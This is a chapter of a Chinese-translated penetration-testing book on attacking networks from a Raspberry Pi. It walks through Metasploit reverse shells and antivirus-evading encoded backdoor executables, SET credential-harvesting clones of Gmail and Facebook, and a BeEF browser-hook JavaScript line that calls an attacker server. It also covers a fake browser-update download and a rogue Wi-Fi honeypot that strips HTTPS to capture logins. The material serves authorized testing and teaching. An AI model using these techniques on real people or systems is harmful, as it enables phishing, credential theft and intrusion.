第4章 树莓派攻击

上一章学习了如何设置树莓派用于渗透测试。步骤包括安装Kali Linux、怎样访问目标网络和执行基本的网络探测。本章主要关注在树莓派连入网络后,怎样攻击目标系统。本章的主题包括怎样攻击操作系统,设置社交工程攻击,利用浏览器漏洞以及使用Kali Linux里的工具设置恶意接入点。这里涉及的某些工具已预装在Kali Linux ARM版本映像文件中。当然,还是建议使用apt-get下载最新版本,保持常规的更新。

本章讲解了以下内容:

技巧.tif

受限于树莓派大小和处理能力,树莓派性能有限。强烈建议先在实验室环境里测试后文提到的各种技术,而不是直接放在真实的渗透测试里使用。

攻击系统意味着利用系统的缺陷、故障或漏洞,使系统执行某些超出本意的动作。这类有违本意的行为通常包括攻击者获得系统管理员权限,或被拒绝服务攻击打垮。如果树莓派能放进目标网络里,目标就是让树莓派作内应,以攻击所在网络里的系统。用这种方式做攻击,处于网络边界的防御手段是无法检测到的,除非这些防御机制能根据行为分析同网段内的网络包,或者使用交换机的SPAN(Switch Port Analyzer)机制,把流量镜像到做监控的一台IPS/IDS上。通常运维管理人员对网络边界的防护策略做得很好,但对网内主机之间通信就比较视而不见了。把树莓派放进这样的网络,并在各地进行远程操控,就非常适宜。在本章会看到很多攻击模式的示意图。

完整安装版的Kali Linux拥有非常多的操作系统攻击工具,然而在Kali Linux ARM映像文件里很多都没有包括进去。当然,可以通过apt-get命令安装缺失的程序,但这么安装的程序可能无法正常工作,又或会不断消耗过高的处理能力,导致树莓派无法工作。因此,本章会介绍一些适宜树莓派的特定类型攻击。

下面从最受欢迎的系统攻击框架Metasploit开始,了解如何用它进行攻击。

Metasploit项目是执行系统攻击代码的事实标准。Metasploit框架包含几百条针对不同平台的攻击脚本。攻击者可在攻击模块中使用载荷数据(payload)、各种编码器和NOP(no-operation,无操作指令)序列产生器,以解决几乎所有系统攻击相关的问题。Metasploit受欢迎的关键原因是它以格式化的脚本形式,实现各种复杂的攻击,因此普通用户也能在短时间内发起像模像样的攻击。关于Metasploit的具体使用,可以浏览它的官方站点www.metasploit.com 以获得更多信息。

Metasploit Framework有各种工具可用于系统破解,这些工具如下所示。

index-104_1.jpg

图4-1

技巧.tif

有许多很棒的Metasploit学习书籍和资源。建议阅览Offensive Security公司提供的介绍Metasploit技术内幕的免费网页,地址为http://www.offensive-security.com/metasploit-unleashed/Main_Page

再回到树莓派,Kali Linux ARM版Metasploit的部分模块无法正常使用。因此建议仅在特定攻击场合使用Metasploit。例如,假设树莓派已经在内网,希望在内网找到一个可攻击的目标。寻找局域网系统攻击目标的步骤如下所示

1.使用Nmap扫描网络,确定目标。

2.使用Nmap扫描目标机器上有什么漏洞。

3.根据Nmap确认的漏洞点,用Metasploit对识别出的漏洞进一步渗透利用。

4.对可利用的漏洞发起攻击。

如果成功了,就能获得目标系统的控制权了。

图4-2描述了在目标网络里的攻击场景。

..\4-2.tif

图4-2

下面再看看用Metasploit破解局域网络里某个系统的流程。

要启动Metasploit,需要在命令行窗口中输入msfconsole命令 [1] 。树莓派启动Metasploit程序可能要花上几分钟时间。

图4-3为在树莓派上启动Metasploit的情景。

index-106_2.jpg

图4-3

使用msfconsole命令进入Metasploit后,会看到一个新的命令行提示符。下面针对目标系统进行一次攻击。在本例中,演示了一种Java攻击。要实现这个攻击,可以输入use exploit/multi/browser/java_jre17_exec命令。

图4-4显示了前面这条命令的执行结果。

index-107_1.jpg

图4-4

此时命令提示符变为msf exploit了。然后,通过Metasploit发送一项攻击载荷并派生出一个反向shell。反向shell就是攻击者可以在自己的PC上看到命令提示符并输入命令,但实际上是在远程受害者的目标系统上运行命令。使用set PAYLOAD java/shell/reverse_tcp命令来设置攻击载荷,这时候屏幕上会出现PAYLOAD => java/shell/reverse_tcp(也就是选择的载荷名称),证明设置已生效。

要使攻击生效,攻击者必须在载荷中设置选项。可以输入show options命令,查看当前有哪些选项可用。有些是必须选项,有些则不是,这是由show options显示结果里Required字段是否为yes确定的。所举例的这个攻击载荷实际上只需要一个参数,也就是LHOST参数。LHOST为攻击者的本地IP地址。这是告诉Metasploit,把载荷发送给受害者之后,受害者那端要怎样再连回攻击者。要确保受害者机器上能访问到攻击者的IP地址(LHOST),以便攻击执行成功后,能连接到攻击者。

要设置LHOST参数,输入set LHOST“Kali所在系统的IP”命令,其中“Kali所在系统的IP”就是运行着Kali Linux的树莓派机器的IP地址。可以再一次输入show options命令,确保修改已生效,这时能看到LHOST名称下有一个值了。图4-5把LHOST的值设置为192.168.1.10。

Picture 18

图4-5

最后输入exploit命令,以上述参数执行该攻击载荷。

如果受害者使用的Java确实有此漏洞,就能收到来自受害者机器的反向shell。要测试这个漏洞攻击,可以在受害者的机器上,打开一个Web浏览器,浏览访问运行Kali Linux那台机器上的网站。例如,在本案例中就是访问192.168.1.10。

正常情况下,受害者并不会主动去访问攻击者的机器。当然在实验室环境用这种方式测试攻击是否成功还是可以的。真实环境中,攻击者会在一个复杂网页里偷偷嵌入这个链接,如在正常页面放入隐藏的iFrame中。还有许多攻击是利用远程漏洞,这时攻击者就可以主动发送攻击载荷了。

一旦受害者浏览访问了攻击者那台运行着攻击手段的机器,攻击载荷就会被加载,受害者被攻破,攻击者获得shell权限(命令行运行环境),得以访问受害者的机器。

技巧.tif

可以在测试的机器上安装一个有漏洞的旧版Java。可以用于测试的一个版本是Java 1.7 update 6 [2] 。在Oracle的网站上可以下载到各种老版本的Java:http://www.oracle.com/technetwork/java/archive-139210.html

Metasploit的另一个常见用法是创建恶意攻击载荷。在计算机领域,载荷这个词的意思是一堆需要传送的数据。而恶意攻击载荷,就是在传输的数据中,加入一些受害者不想收到的内容,比如后门程序。Metasploit提供了无数的攻击载荷选择,一旦安装了这些恶意载荷,就有可能获得系统的管理员访问权限。

大多数安防产品如防病毒软件或IPS的目标都是检测出恶意攻击载荷。然而,Metasploit自带各种编码方式,可以绕过这些传统的防护手段。编码就是在文件中添加随机数据,使它变得样貌迥异。大多数传统安防产品的做法都是对比已知威胁列表,也就是对比病毒签名,如果威胁不在已知列表中,安防产品就检测不到。编码提供了一种方式使攻击载荷看起来独一无二,不会触发已知签名,从而绕过传统的防护。有些人管这叫“零日(0 day)”漏洞,也就是任何商业产品都没有这种威胁的签名也无法识别出来的漏洞。

下一个攻击里会创建一个载荷,再对它进行编码,使之能绕过传统的安防产品而放到目标系统上。攻击载荷可以通过电子邮件或者USB传播,如果攻击成功地获得基本的系统权限,攻击载荷就可以放进目标系统,再利用提权使攻击者获得该系统的访问权限。

技巧.tif

最好先在更强劲的系统上创建攻击载荷,再通过树莓派传输过去,而不是直接在树莓派上创建载荷。

下面介绍如何用Metasploit创建一个攻击载荷并进行编码。

第一步先在命令行终端输入msfconsole以启用Metasploit。1~2分钟后,就会看到Metasploit的介绍页了。

可以使用msfpayload [3] 这个子项来加载攻击载荷。要查看载荷的相关参数,可以使用msfpayload-h查看有哪些可用格式,而执行msfpayload-l则可以查看实际载荷的选项。在例子中,选取了最常见的一个漏洞,叫reverse_tcp载荷,这个载荷是攻击Windows系统的。图4-6显示了如何选择载荷,如何配置监听地址。图4-6中载荷监听在该系统IP地址的4444端口上。

index-109_1.jpg

图4-6

Metasploit可以产生各种文件格式的攻击程序。在这个例子中,创建的可执行文件叫important.exe,这可以诱使受害者相信它是某项重要更新。请注意,这里就要用上社工手段了,先给文件起个用户乐于接受的名字,再利用社工手段使它得以被成功安装。要创建important.exe文件,可以在原来使用载荷的命令后面,再跟上X > important.exe参数。图4-7展示了如何创建这个文件。

Picture 9

图4-7

在创建了文件之后,可以在root目录下找到它。困难的一步在于怎样让受害者安装这个文件。如果一切顺利,真的能让Windows用户安装这个程序,那么就获得了用户系统里具有管理员权限的后门程序。这个理念对本章后面提到的其他攻击例子也非常有用。图4-8显示了放在目标计算机上的important.exe文件。

index-110_2.jpg

图4-8

另一个隐藏攻击载荷的方法是把它与另一个受信任的程序打包在一起。例如,可以提示受害者的Adobe Reader版本太旧了,需要升级,然后把正常的升级文件和后门程序打包在一起。当受害者安装 .exe升级文件时,升级成功的同时机器上也被埋入了一个恶意后门。

对于有明确目标的社会工程攻击,这一招很管用。在4.4节时再说具体做法,在那个场景里,会诱使用户点击和下载一个经过打包的攻击载荷。

如何包装载荷程序已经超出树莓派渗透测试这本书的范围了。有不少工具如Senna就用于捆绑打包攻击载荷程序。图4-9展示了Senna Spy One的控制面板如何把一个ROOTKIT和Windows计算器可执行文件打包在一起。当用户运行这个文件时,会弹出计算器程序而ROOTKIT有害载荷也会被安装。如有兴趣,可以去研究下Senna或其他类似的打包工具,学习更多的恶意载荷打包方式。

index-111_1.png

图4-9

社会工程攻击的目标是通过误导或欺骗的手段,诱使受害者泄露自己的信息。攻击者往往会伪造自己的身份,假扮成一个受信任的机构或者受害者的亲人,以获得受害者的信任。一旦用户受蒙骗上钩,可能就会交出自己的密码、账号或其他有价值的信息。许多知名黑客都有过仅是客气一问,就套出各种有价值的信息的故事。

Kali Linux包含了许多工具,可协助进行社会工程攻击;然而,最成功的攻击都是基于对攻击对象的充分了解并滥用他们的信任。例如,在像LinkedIn或者Facebook这样的社交媒体资源利用虚假账号,就能获得某些敏感的用户信息,完全不需要高深的技术就能实现。另一种做法是打电话给某人,假装是管理员,或者给目标用户发送电子邮件,假称自己是很久没联系的亲戚。

提示.tif

可以围观本书作者利用社交媒体执行渗透测试的一项尝试,只要在搜索引擎里搜Emily Williams Social Engineering,或者访问http://www.thesecurityblogger.com/?p=1903http://www.pcworld.com/article/2059940/fake-social-media-id-duped-securityaware-it-guys.html 就能看到这个社工实验 [4]

在本章中,主要讨论最常用的社交攻击工具也就是SET(Social- Engineer Toolkit,社会工程学套装)。SET可以用在树莓派里,但它在更强劲的系统里运行会比较正常可靠。让树莓派发挥最佳功用的做法,是把它用于目标网络的信息采集勘探,然后再到远程Web服务器上进行钓鱼,创建一个成功的社会工程攻击。

下面在介绍SET的同时,也会介绍另一款很受欢迎的社工软件BeEF,主要用于攻击浏览器。

社会工程学套装(以下简称SET)由TrustSec的David Kennedy开发,默认Kali Linux安装了这个程序 [5] 。它通常用于复制翻版大家信任的站点如谷歌、Facebook和Twitter,以吸引受害者来访问,再发动针对受害者的攻击。受害者并不知道正在访问的是假冒的站点,攻击者就可以借此收集用户的密码,甚至可能注入一个命令shell,以获得受害者系统的完整访问权限。安全专业人士可以用它来演示为什么信任链也是漏洞的一环,也就是普通用户并不会留意他们输入的敏感信息,只要网站看起来像那么回事。

虽然可以在树莓派上执行SET,然而受害者访问假冒网站的体验,会受限于树莓派的吞吐量。测试时,被攻击者有时候需要等很长时间才会跳转到真正的网站,这有可能导致他们怀疑自己遭受了攻击。因此,建议针对特定用户使用SET,而不是盲目地攻击一批用户,这样才能使树莓派的性能保持良好。

在以下例子里,设置树莓派来克隆Gmail。如图4-10所示,目的是使受害者相信在访问的确实自己的Gmail账号,在登录之后会将其重定向到真正的Gmail站点,但登录信息已经被保存下来了。关键是先让受害者访问SET服务器,当然这一步就要发挥社工能力了。例如,可以用电子邮件发送一个链接,在社交媒体上发布一篇帖子,或使DNS中毒,把域名重定向到攻击用的服务器。攻击者再远程访问树莓派,把偷到的身份信息取回来,完成最终的渗透测试报告。

..\4-10.tif

图4-10

下面介绍怎样在树莓派上用SET。

要启动SET,请在命令行窗口输入setoolkit,程序会提示是否启用提前预览库(bleeding-edge repos)。提前预览库是Kali里的一项新功能,包括一些受欢迎工具如SET的每日编译打包版。最好是启用提前预览库,并在实际渗透之前,先提前测试预览库,因为可能会有小的差异。图4-11为启用提前预览库。

Picture 116494

图4-11

技巧.tif

提前预览版是获得常用工具最新版本的很不错的做法,然而,有经验的安全专家会发现这些工具常常会有变更,某些功能可能变得无法使用。最好的方式还是在实战使用某工具之前禁用升级,除非有时间测试新发布的更新版本。

SET启动后,需要先同意授权书和软件程序条款,输入yes。这个时候就能看到SET的主菜单了,如图4-12所示。

index-114_1.png

图4-12

SET是基于菜单的攻击工具,与其他工具不同,它并不使用命令行。这是由社交工程攻击的特质决定的,攻击的形态各异,需要多重渐进的步骤来完成设置。当部署这类攻击时,命令行形式的工具可能会令人非常困惑。

在本例中,选择1)Social - Engineering Attacks。

图4-13所示为在这项菜单下的内容。

Picture 116496

图4-13

接下来,选择2)Website Attack Vectors(网站攻击因子),这会带出各种不同选项。在这个测试场景里,尝试一个简单的身份收集攻击,选择3)Credential Harvester Attack Method,如图4-14所示。

..\0414.tif

图4-14

当选择了Credential Harvester Attack Method选项后,可以再选择使用已预存的模板还是克隆一个网站。其实,大多数模板无法骗到普通用户,所以最好还是克隆一个真实的站点吧。另外,网站是会变化的,因此克隆一个站点可以获得最新的版本网站,更符合受害者印象中的该网站样子。

选择了恰当的选项后,就会提示输入SET要监听哪个网卡的IP地址。如果有多块网卡,需要输入和互联网端相连的那块网卡的IP地址,否则受害者将无法访问到树莓派服务器。

如果选择了Credential Harvester Attack Method下面的2)Site Cloner,之后就需要输入目标克隆网站的完整URL,如https://www.facebook.com 。如果选择了网站模板,就需要从提供的列表里,选出已有的模板。图4-15展示了部分可用模板样例。注意,这些模板都是非常基础和过时的,也就是说看着可能和正版的网站并不一样。这也是为什么在真实的渗透测试里,应该选择克隆站点。

index-115_2.png

图4-15

图4-16中的菜单提供了各种类型的攻击。建议将每一种都测试一下,根据各人喜好和成功率做选择。其中某些攻击需要用到中间人攻击,请参见第3章中间人攻击部分的内容。

index-116_1.png

图4-16

在本例中,选择了3)Credential Harvester Attack Method。这种攻击会部署一个假站点,等着受害者登录进来。当受害者看到登录页面并输入自己的登录信息后,受害者将会被重定向到真正的网站去,却不知道所输入的身份信息已经被攻击者窃取,可供日后利用。

图4-17展示了克隆的谷歌登录界面时的情况。

Picture 21

图4-17

这种攻击的难点在于要蒙骗受害者,使其相信所访问的是真实网页。通常的办法是给受害者发送包含假链接的邮件、在社交媒体网站散布带有钓鱼站点链接的帖子、实施DNS污染等。SET里的许多工具和应用能简化这些任务,但这些内容已超出本书的范围,请自行到SET的网站(https://www.trustedsec.com/social-engineer-toolkit/ )了解学习这一工具的更多信息。

技巧.tif

最佳做法是在远程服务器上执行SET攻击而非在树莓派上执行,因为要执行这种攻击需要一定的处理能力。对最终用户来说,攻击是一样的,无论假冒网站是在树莓派还是在外部系统上,其实就是克隆了一个云服务。

Browser Exploitation Framework(浏览器攻击框架,BeEF)是一款集合渗透测试、蜜罐和社会工程的工具。与SET一样,BeEF上也可以运行一个恶意的网站服务。但是,BeEF要找的是客户浏览器端的漏洞。当受害者连上BeEF服务器时,BeEF会尝试在用户系统上挂钩子并检查受害者的浏览器是否可以攻击利用。基于找到的漏洞情况,BeEF提供了一系列可以利用的命令模块,如偷偷截屏或发出哔的声音。当然被注入的系统 [6] 只有在线时才能访问到。然而,只要注入成功,被渗透的系统和互联网建立连接后,BeEF就能知道并能继续执行命令。关于BeEF,可以浏览以下网站http://beefproject.com/ 获得更详细的信息。

技巧.tif

我在获得授权的情况下,已经用BeEF成功完成一些渗透测试,因为渗透成功时无需修改终端系统,所以也就较少会惊扰到客户端,渗透测试的后续清理也比较少。

在这个用例中,执行的攻击也类似上文的SET;但是,这个攻击是针对受害者浏览器的,而非引诱用户登录某个站点。出于这个目的,也需要克隆一个已有的站点或开发一套令人信服的模板,这样攻击者就意识不到已经受到了攻击。BeEF最大的好处是只要受害者访问过一次有害站点,系统就会被注入。一旦被注入,即使受害者已经离开站点甚至已下线,只要再次上线,仍然可以被攻击。

灵活运用简单的社工技巧,如开设一个虚构的度假电子优惠卡并发布到社交媒体站点上,或者通过电子邮件发送包含有害站点的链接,都能非常有效地吸引受害者访问BeEF服务器。很容易构建一个简单且以假乱真的度假优惠卡站点,只要放上几张图片,用粗体突出一下宣传口号就行了。

图4-18展示了如何在内网用树莓派运行BeEF服务,注入本地用户系统。为了让用户访问BeEF服务器,这个例子里先向受害者发送了一封带有虚构的度假优惠卡链接的电子邮件,诱使其访问BeEF所在的服务器。一旦受害者点击了链接,会看到度假优惠卡并被BeEF注入。这样,当被注入的受害者联网时,攻击者就可以从树莓派远程执行命令了。

..\16-1547 改图\4-18.tif

图4-18

下面介绍怎样创建这个攻击场景。

要启动BeEF [7] ,先执行cd /usr/share/beef-xss进入BeEF所在目录,然后如图4-19所示运行名为beef的脚本。

Picture 15

图4-19

一旦BeEF脚本启动后,就可以通过Web方式访问BeEF控制面板,打开浏览器并访问http://在树莓派上的Kali系统IP地址:3000/ui/panel。图4-20显示了BeEF的主登录界面。

index-119_1.jpg

图4-20

默认用户名和密码都是beef。

与其他社工攻击类似,需要先诱使受害者访问要执行注入的页面。BeEF也自带了一些基本的陷阱演示页面,然而,与SET类似,这些页面都很简单,很可能糊弄不了普通用户。读者可以测试一下,访问http://在树莓派上的Kali系统IP地址:3000/demos/butcher/index.html,就可以看到这些基础页面了。

技巧.tif

在真实的世界里,需要编辑这些演示页面,使其看起来更像真的。你要注入的用户无需一直停留在该页面也能被控制;但如果这些页面看起来就很可疑,用户可能会举报你的站点。另外,还可以在页面里填加一段包含页面劫持功能的JavaScript模板。

一旦用户的系统被注入了,攻击者就可以在BeEF的控制面板中看到受害者的浏览器,还可以发送各种的命令。在某些场景中,可以给用户发送一些复杂和有价值的攻击。在其他的场景中,也许仅能获得客户的一些基本信息。可以用哪些命令取决于受害者正在用的浏览器的类型,以及是否及时升级过浏览器的安全补丁。

图4-21显示了Linux操作系统中可以利用的注入类型。

Picture 22

图4-21

在Module Tree的树状列表中,就是可利用的攻击手段,可以用于对受害者的浏览器进行注入。

技巧.tif

BeEF的每条命令都有对应的风险等级,定义了这条命令可以成功执行的概率有多大,以及它的恶意行为会惊扰到用户的可能性有多大。强烈建议提前先在实验室环境里攻击类似目标用户环境的效果。测试时发现,很多攻击已无法使用,与宣传里的不太一样。

在一个有漏洞的浏览器使命令获得执行的方法,是诱使用户点击一个包含JavaScript模板的页面。因此,以图4-22所示的例子中,设计了一个以前学校里常见到的蹦蹦跳跳大头针,询问用户是否需要升级浏览器。升级文件包中会包含吻合该浏览器的安装文件但其中也打包了后门程序。创建攻击载荷、对它们进行编码以绕过安全防护的检查、和信任的可执行文件打包等内容,在本章前面的Metasploit 部分有介绍。

Picture 123480

图4-22

发起攻击的第一步是到BeEF管理控制台,打开Command标签,如图4-23所示。

index-121_1.jpg

图4-23

在这里再点击Social Engineering文件夹,找到Clippy攻击项,如图4-24所示。

index-121_2.png

图4-24

请注意,Clippy攻击已经内置了默认设置。通常,会下载一个JavaScript模板和一个图片文件,用作内部站点的页面。访问时还会下载和运行一个EXE文件。在以下的例子中,下载和运行了putty.exe。请注意,执行代码的命令如图4-25所示,但这里的文本框内容超出了显示窗口的宽度。请按照自己的具体需求写任意攻击。

index-121_3.png

图4-25

可以设置Clippy在下载前后各显示一段信息。下载前默认的显示信息为:您的浏览器已过时。您希望升级吗?下载后显示:感谢升级!期待给您带来更快速更安全的浏览体验!

由于这项攻击是针对浏览器的,因此与原版在Microsoft Word中出现的大头针动画不同,这个攻击是跨操作系统平台的。任何支持JavaScript的浏览器都可以执行这个攻击。在图4-26中,展示了在Mac OS X计算机上实施这款攻击的场景,这个操作系统上并没有Microsoft Office。

index-122_1.jpg

图4-26

经常有人关心能否不通过BeEF的演示页面,而直接“注入”受害者的浏览器。利用以下JavaScript代码就可以在任意网页上对浏览器进行注入:

%20(function%20()%20{%20var%20url%20=%20%27http:%2f%2f192.168.135.129:3000%2fhook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20% 27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body. appendChild(bf);}})();

在怎样运行JavaScript命令上,可以多多发挥创意。可以让它自动加载,也可以嵌入在广告里,或者各种有创意的方式。只要将上述JavaScript中的IP地址变量替换为你的BeEF服务器地址即可。大家一定注意到在上一个例子中,服务器地址是192.168.135.129,你需要把这个地址替换成自己的BeEF服务器地址。最后是确保受害者的机器能访问到BeEF服务器,否则攻击没法成功。

蜜罐是计算机术语,是一种用于检测、转移和误导尝试攻击计算机系统或网络的陷阱。典型的蜜罐是一台计算机、一段数据或一个看起来蛮像真实网络的某个网段,即使它表面上的隔离或监控也做得很到位。大多数蜜罐会表现为漏洞百出,似乎也有不少有价值的信息,籍此把攻击者从真正的目标引开。

通常有两种形式的蜜罐。最经常使用的是生产环境型蜜罐,它往往用作网络的防护策略之一。生产环境蜜罐通常放在正式网络中,引诱已经突破其他防护的黑客以它为目标,所以这种生产环境里的蜜罐可视为防范系统被攻破后的最后防线了。

另一种形式的蜜罐是纯监控型的,通常放在网络中用于研究经过它的数据。这种形式有点类似中间人攻击,不过蜜罐在里面通常是把自己伪装成一个可信的源,让受害者连上来。一个例子是创建一个假的接入点,让受害者相信这是个可用的网络连接,当受害者使用蜜罐时,攻击者就可以监控流量包括捕获登录的身份信息,这种攻击形式称为恶意接入蜜罐,这种方式由监控型的蜜罐搭配上虚假无线接入点用以诱导访问蜜罐来构成。当然,还有另外一些类型的蜜罐,如高交互性和低交互性的蜜罐、蜜罐客户端等。但大多数这些系统都超出了树莓派的能力。

恶意接入蜜罐在我们看来是最适合用树莓派实现的,因为我们的目标是捕获数据而不是攻破网络防护,另外利用树莓派在移动性上的外形优势,也正适合隐藏这种攻击。

在以下的例子中,创建了一个恶意接入蜜罐,用它作恶意无线接入点,目标是捕获受害者通过它连上网时发送的敏感信息。本例中,把eth0有线网卡作为连接互联网端,用另外一个USB无线网卡来做恶意无线接入服务。当然这种攻击也可以改为互联网和恶意无线接口端都使用无线网络,那样就需要两个USB无线网卡来实现了。只要在攻击之前,先设置好VPN接入,这样攻击者就可以通过VPN从任意地方访问树莓派上的蜜罐了。图4-27所示为要搭建的系统。

..\16-1547 改图\4-27.tif

图4-27

下面介绍这套颇受欢迎的名叫easy-creds的应用,并用它创建一个树莓派恶意接入蜜罐。

easy-creds本身就是个Bash脚本,它通过Ettercap和其他工具获得使用身份。Ettercap已经在第3章讨论过了。然而,easy-creds把中间人攻击更往前走了一步,提供了各种工具用于创建一个监控型蜜罐。easy-creds菜单型的工具,提供了ARP欺骗、DHCP欺骗、单向ARP欺骗和创建虚假接入点(AP)等功能。

easy-creds并未预装在树莓派中,需要从以下地址下载:http://sourceforge.net/projects/easy-creds/files/latest/download

下载完成后,执行cd Downloads,切换到下载目录(通常是Downloads目录),如图4-28所示。

Picture 113

图4-28

执行tar -zxvf easy-* 命令解压刚才下载的安装文件。这会创建一个新的解压目录,可以执行ls命令查看该目录名称。再执行cd命令进入解压目录,最后输入ls命令,就能看到安装脚本了。当然,还需要把安装脚本变成可执行文件,办法是执行chmod +x installer.sh命令,或者chmod 755 installer.sh。图4-29显示了上述步骤的执行效果。

Picture 123479

图4-29

把安装脚本变成可执行后,输入./installer.sh命令安装easy-creds。在执行了easy-creds的安装脚本后,会看到如图4-30所示的安装操作系统选择菜单。

index-125_3.png

图4-30

因为是在Kali Linux上安装,所以从菜单里选择1.Debian/Ubuntu和衍生系统。

接下来需要跟着提示完成安装。安装完成后,就可以输入./easy-creds.sh命令来启动easy-creds。图4-31显示了安装结束后,运行easy-creds的方式。

index-126_1.png

图4-31

如上执行了.sh文件后,就会在图4-32中看到easy-creds的菜单项。在不同的版本中,easy-creds会经常轻微地调整菜单的顺序,所以读者所用的版本可能与图4-32不完全相同。本例中,选择1,Prerequisites & Configurations for configurations。

index-126_2.png

图4-32

设置蜜罐的第一步是为要攻击的受害者分发可用的IP地址。要做到这点,得安装一个DHCP服务器。如果在安装DHCP服务器时碰到错误,那很可能是在做其他练习或安装其他工具时已经顺便装过DHCP服务器了。

在图4-33所示的配置菜单项中,选择3. Install dhcp server来安装DHCP服务器。

index-127_1.png

图4-33

装好DHCP服务器后,需要选择图4-33中的选项5. Add tunnel interface(添加通道接口)。

然后,在配置文件内容里往下翻到设置DHCP服务器的接口配置项。这里需要手工设置,如果无线网络使用的是wlan0这个网卡,则在接口配置里输入wlan0,如图4-34所示。

Picture 123481

图4-34

一旦完成添加无线网卡的设置后,再选择回退到前面的菜单项。也就是选择图4-33菜单里的9. Previous Menu。现在,设置一个虚假接入点(FakeAP)攻击,选择3. FakeAP Attacks,如图4-35所示。

Picture 38

图4-35

接下来还有几个选项。在这个例子中,选择图4-36中的FakeAP Attack Static选项,也就是第一项。

Picture 46

图4-36

接下来会看到弹出提示,问是否需要包含sidejacking攻击(一种会话劫持攻击)。Sidejacking的劫持行为,是根据已登录的Web会话,使用代表受害者身份的信息去访问特定服务器。如果有人访问蜜罐并登录这些会话对应的网站,这种劫持就很有用了。因此,例子中这个选项选择Yes。

下一步,会看到提示要选择连接互联网端的网卡。大多数情况下这块网卡都是eth0,基本的设计思路就是树莓派的wlan0接口提供恶意无线接入,再把流量通过eth0的有线网口转往互联网。要达到这个效果,当然也可以用两块USB无线网卡来做,一块连接互联网,另一块做恶意无线接入。这种攻击方式的问题是可信的和假的无线接入点都会对外广播自己的信息,除非真的无线网络关闭了对外广播,如使用tether模式的手机。这里还是只讨论使用有线网卡连接互联网端的方式。

在选择了互联网接口后,会提示填入一些其他细节,如需要把日志文件保存在哪里,以及DHCP地址空间。填完以上内容,也完成了基础的配置。

现在就有一个可用的恶意无线蜜罐了,可以对外广播以吸引用户加入。如果客户接入网络并使用明文文本协议,信息就会被捕获并展示在easy-creds里。如果用户尝试访问HTTPS站点,easy-creds也会尝试使用SSLStrip把用户重定向到非加密网页。在第3章中介绍过SSLStrip,图4-37展现了当用户使用恶意无线网络时,蜜罐捕获到的受害者登录Facebook时的身份信息。

Picture 123482

图4-37

现在,树莓派已经是一个功能完整的恶意接入蜜罐,可以把捕获的密码保存到指定的日志文件中。读者可以在最后撰写渗透测试报告时,再远程访问这个日志。如需获取更多关于easy-creds的信息,请访问 http://sourceforge.net/projects/easy-creds/

本章讨论的重点是在入侵内网后,怎样从树莓派发起有效的攻击。主题包括以各种形式的攻击载荷、社工技术、浏览器攻击和部署恶意接入蜜罐来突破系统,通过漏洞获得系统的控制权或偷取到用户的身份凭证。在这些领域,探讨了用树莓派执行基本渗透测试的知识。但显然学海无涯,还有许多未覆盖到的知识点。本章的内容仅是用树莓派做授权渗透测试的基本介绍,让读者有个总体概念。

下一章介绍做完渗透测试之后还要做什么。内容包括如何清理日志和消除痕迹,要尽量做到神不知鬼不觉,以避免留下取证证据。也会谈到如何收集数据,以撰写出专业的渗透测试报告,在交付报告时展示自己的服务价值。


[1]  译者注:默认树莓派版本的Kali也没有安装Metasploit,如果输入msfconsole报错,可执行apt-get install metasploit-framework先安装所需程序。

[2]  译者注:原文这里写着1.0.7_6,实在是觉得作者写错了!

[3]  译者注:从2015年6月起,msf就不再使用msfpayload这个命令了,而改用msfvenom这个命令,所以后文中提到的所有msfpayload命令,实际上都需要改为msfvenom。

[4]  译者注:两位作者通过社交媒体,创造了一位虚拟的女性Emily Williams,并把她塑造成某企业的IT支持人员,在社交网络上,不少人把她加为好友,并点评了她的能力。在人们逐渐信任她之后,“她”对目标公司的友邻发出了钓鱼性质的邮件,内含一张有危害的图片。最后成功入侵目标公司的内网,得到VPN密码,还给Emily Williams创建了那个公司的邮箱。

[5]  译者注:现在Kali Linux ARM版里并没有这个套装。需要的话可以到https://github.com/trustedsec/social-engineer-toolkit/releases 下载最新版本,解压后执行python setup.py安装。

[6]  译者注:原文是hook,没有特别好的中文表达,就用了“注入”。

[7]  译者注:树莓派版Kali默认没有BeEF这个程序,需要到它的官方站点http://beefproject.com/ 下载安装包,解压后执行./install并根据后续提示安装。